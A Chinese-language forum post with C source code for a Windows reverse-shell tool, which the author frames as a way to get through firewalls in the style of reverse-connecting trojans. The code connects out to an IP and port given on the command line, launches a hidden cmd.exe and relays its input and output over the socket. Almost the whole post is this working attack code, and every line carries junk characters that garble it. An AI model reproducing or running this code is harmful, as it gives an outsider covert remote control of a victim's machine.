这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 '<
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/* ============================== x&3!z[m@@
Rebound port in Windows NT RMB?H)p+
By wind,2006/7 v _Bu
===============================*/ S~vbISl
#include 0pYz8OB
#include :oF\?e
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#pragma comment(lib,"wsock32.lib") z602(mxGg
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void OutputShell(); {+f@7^/i.
SOCKET sClient; -tT{h4
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; /:>f$k4~h
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void main(int argc,char **argv) IS7g{:}=p
{ 87EI<\mP
WSADATA stWsaData; wgSA6mQZ
int nRet; \s;]Tg
SOCKADDR_IN stSaiClient,stSaiServer; "ffwh
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if(argc != 3) UuxWP\~2
{ P*/p x4;6
printf("Useage:\n\rRebound DestIP DestPort\n"); u*[,W-R&
return; zsI0Q47\
} oUZwZ_yKW
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WSAStartup(MAKEWORD(2,2),&stWsaData); v:CYf_
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); GZQ)TzR
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stSaiClient.sin_family = AF_INET; {a_=4a
stSaiClient.sin_port = htons(0); iAf, :g
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); IGql^,b
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ".v9#|
{ 3z:
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printf("Bind Socket Failed!\n"); *P:`{ZV7=W
return; -'{ioHt&X/
} ZERUvk
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stSaiServer.sin_family = AF_INET; n_v c}ame
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); yt C{,g>
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); J~ v<Z/gm
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 6,_CL M
{ 9|jIrS%/~
printf("Connect Error!"); =DE5Wq19
return; F#4?@W
} ;^}cZ
OutputShell(); w[PW-m^`
} \EYhAx`2
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void OutputShell() p(nC9NGB
{ lqqY5l6j
char szBuff[1024]; nT|fDD|
SECURITY_ATTRIBUTES stSecurityAttributes; ,a$LT
OSVERSIONINFO stOsversionInfo; }'kk}2ej`
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; lDp5aT;DsM
STARTUPINFO stStartupInfo;
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char *szShell; wi*Ke2YKP
PROCESS_INFORMATION stProcessInformation; .d8) *
unsigned long lBytesRead; F8b*Mt}p
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); '.WYs!
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); M/d!&Bk
stSecurityAttributes.lpSecurityDescriptor = 0; hpWAQ#%oHm
stSecurityAttributes.bInheritHandle = TRUE; 3h0w8(k;
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); F\-qXSA
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); J>hl&J
h]@Xucc
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); J_rCo4}
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P[XE5puC
stStartupInfo.wShowWindow = SW_HIDE; cty~dzX^
stStartupInfo.hStdInput = hReadPipe; +|#sF,,X4g
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; JEJ]'3
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GetVersionEx(&stOsversionInfo); Qg9{<0{u
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switch(stOsversionInfo.dwPlatformId) C6'[ Tn
{ Fdc bmQ
case 1: 3: mF!
szShell = "command.com"; f+<-Jc
break; ^o?.Rph|i]
default: xu+wi>Y^
szShell = "cmd.exe"; <YJU?G:@
break; 3kYUO-qw
} 3%<ia$
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); d8]6<\g
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send(sClient,szMsg,77,0); !xe<@$
while(1) |&RdOjw$u
{ a |z{Bb
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); w:N\]=Vh
if(lBytesRead) L]HY*e
{ .' .|s?s
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Iupk+x>
send(sClient,szBuff,lBytesRead,0); cHJ
&a`;
} +;cw<9%0
else 6x[gg !;85
{ U.wgae].O;
lBytesRead=recv(sClient,szBuff,1024,0); N@j|I* y|
if(lBytesRead<=0) break; G e~&Ble
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 1L &_3}
} :1.$7Wt
} /3+7a\|mKr
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return; TAzhD.6C
}